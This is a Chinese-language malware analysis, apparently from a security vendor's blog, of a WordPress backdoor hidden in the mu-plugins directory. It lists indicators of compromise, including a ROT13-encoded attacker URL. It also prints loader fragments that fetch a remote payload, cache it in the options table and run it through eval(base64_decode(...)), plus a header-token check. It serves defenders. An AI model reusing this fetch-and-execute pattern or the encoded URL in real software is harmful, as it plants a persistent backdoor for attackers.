揭秘隐藏在WordPress MU-Plugins目录中的隐形后门

本文深入剖析了一个隐藏在WordPress“必须使用”插件(mu-plugins)目录中的复杂后门攻击。该恶意软件使用ROT13编码隐藏远程负载URL,并将有效载荷存储在数据库中,以实现持久、隐蔽的访问。文章详细解构了其加载器、远程负载的工作原理,并提供了关键的入侵指标(IoCs)以及重要的网站安全防护建议。

最近,我们的团队发现了一个特别隐蔽的恶意软件,它藏匿于许多WordPress用户甚至不知道存在的地方:mu-plugins 文件夹。事实上,早在今年三月,我们就观察到同一目录中隐藏恶意软件的类似趋势,详情可参阅我们的文章《隐藏的恶意软件再次来袭:MU-Plugins成为攻击目标》。这次的感染设计得十分隐蔽、持久且极难被发现。

文件路径: /wp-content/mu-plugins/wp-index.php

对于不熟悉的人来说,mu-plugins 代表“必须使用的插件”。这些是特殊的WordPress插件,会自动激活,并且无法从WordPress管理面板停用。

这个脚本充当了一个加载器,它从经过ROT13混淆处理的URL静默获取远程有效载荷,并将其存储在数据库中。然后,获取的内容会临时写入磁盘并执行。这个后门让攻击者能持久访问网站,并能够远程运行任何PHP代码。

什么是ROT13混淆?

ROT13是一种简单的混淆方法,它将每个字母在字母表中移动13位。其合法用途包括在不进行真正加密的情况下,隐藏在线讨论中的剧透文本、笑话或谜题答案。它也被用于恶意软件中隐藏URL或代码。ROT13是可逆的,不提供真正的安全性。

这是一个简单的ROT13例子:

  • “HelloWorld” 变成 “UryybJbeyq”
  • 每个字母在字母表中旋转13位(A↔N, B↔O, C↔P, 等等)。

入侵指标

攻击者的加载器利用WordPress函数来执行其有效载荷并实现隐蔽。以下是一些关键入侵指标:

  • 恶意文件: wp-content/mu-plugins/wp-index.php
  • ROT13编码的URL: str_rot13('uggcf://1870l4ee4l3q1x757673d.klm/peba.cuc')
    • 解码后: hxxps://1870y4rr4y3d1k757673q[.]xyz/cron.php
  • 数据库选项键: _hdra_core
  • 临时负载路径: 上传目录内的 .sess-[hash].php
  • 隐藏管理员用户: officialwp

这些指标对于判断您的WordPress站点是否被感染至关重要。

恶意软件分析

wp-index.php 中的加载器

位于mu-plugins目录中的恶意文件wp-index.php充当了此恶意软件的主要入口点。由于位于mu-plugin目录,它会被WordPress自动加载,且无法通过管理仪表盘禁用。这就是攻击者实现持久性的方式。

代码首先解码一个经过ROT13混淆的URL以访问远程负载:

1
2
3
// 解码ROT13 URL的伪代码表示
$url = str_rot13('uggcf://1870l4ee4l3q1x757673d.klm/peba.cuc');
$payload = file_get_contents($url);

获取后,负载是经过Base64编码的。脚本在继续执行前会检查内容是否为有效的Base64:

1
2
3
if (base64_decode($payload, true)) {
    // 继续处理
}

负载被保存在WordPress选项表的_hdra_core键下,这提供了一个隐蔽的存储位置,避免了文件系统检测。随后,脚本动态解码并执行负载:

1
2
3
// 伪代码:从数据库获取、解码、执行负载
$cached_payload = get_option('_hdra_core');
eval(base64_decode($cached_payload));

负载被包含后立即删除,几乎不留痕迹。

cron.php 的远程负载

当我们解码来自 hxxps://1870y4rr4y3d1k757673q[.]xyz/cron.php 的Base64负载时,发现了一个复杂的恶意软件框架。

  1. 文件管理器: 我们发现一个隐藏的文件管理器被注入到主题目录中,名为 pricing-table-3.php。它支持浏览、上传和删除文件。访问通过自定义的HTTP头令牌进行控制:
    1
    2
    3
    
    if ($_SERVER['HTTP_TOKEN'] == 'hdra-admin') {
        // 授权访问文件管理器功能
    }
    
  2. 创建隐藏管理员: 创建用户 officialwp 并授予管理员权限。
  3. 下载并激活恶意插件: 攻击者从以下rot13编码的URL(wp-bot-protect.php)下载远程插件文件,存储在本地,并强制激活它。这也有助于在插件被删除后恢复感染。
    • 此编码URL解码为:hxxps://1870y4rr4y3d1k757673q[.]xyz/shp
  4. 密码重置后门: 更令人担忧的是,此恶意软件还包含一个函数,用于将几个常见管理员用户名(包括 adminrootwpsupport,甚至其自身的 officialwp 用户)的密码更改为攻击者设置的默认密码。这是攻击者在合法管理员更改其密码后重新获取访问权限或锁定其他管理员的一种方式。

恶意软件的影响

攻击者获得了完全的管理员访问权限和一个持久后门,允许他们在网站上为所欲为,从安装更多恶意软件到篡改网站。其隐藏用户、清理临时文件、嵌入多个位置以及隐藏安全插件的能力,使得网站所有者极难检测和清除。

远程命令执行和内容注入功能意味着攻击者可以改变恶意软件的行为。

拥有管理员权限,攻击者可能窃取敏感用户数据、安装勒索软件,或利用您的网站攻击其他网站。

防护建议

  • 定期更新: 定期更新WordPress、主题和插件。这些更新修复了攻击者喜欢利用的安全漏洞。
  • 来源可信: 仅从WordPress.org或知名开发者等受信任的地方获取主题和插件。
  • 强化身份验证: 为所有账户(WordPress、数据库、FTP、托管)使用唯一且强大的密码。启用双因素认证(2FA)以增加额外安全性,特别是对于管理员账户。
  • 审计文件: 定期审计主题和插件文件。
  • 正确设置权限: 正确设置文件权限,并在 wp-config.php 中禁用文件编辑功能:
    1
    
    define('DISALLOW_FILE_EDIT', true);
    

最后思考

这个隐藏在WordPress mu-plugins中的后门案例,突显了网络威胁的不断演变。通过将代码隐藏在MU-Plugins中并将负载存储在数据库中,攻击者绕过了典型的安全扫描,并在清理尝试后仍能保持访问。

保持警惕、监控未经授权的用户、扫描网站的所有部分(不仅仅是主题和插件文件夹)至关重要。

对于那些受到影响的用户,Sucuri提供专业的恶意软件清理和持续监控服务,以确保此类威胁能被快速识别和根除。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计